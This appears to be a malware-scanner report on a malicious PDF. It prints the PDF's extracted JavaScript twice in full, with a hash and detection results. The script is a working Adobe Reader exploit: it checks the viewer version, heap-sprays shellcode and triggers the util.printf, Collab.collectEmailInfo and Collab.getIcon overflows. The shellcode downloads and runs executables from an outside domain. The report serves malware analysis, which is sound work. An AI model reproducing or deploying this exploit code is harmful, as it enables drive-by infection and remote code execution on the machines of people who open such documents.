function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u642F%u6E69%u3373%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u622F%u6463%u7069%u7974%u337A%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B | 5300 bytes |
SHA-256: 2feafabe9f49b938266c9762ea485c61bc97cd697ed24c56742d7a50f2d4c2bc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u642F%u6766%u6A68%u736B%u7875%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u642F%u6E69%u3373%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u622F%u6463%u7069%u7974%u337A%u652E%u6578%u0000");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape(" ");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.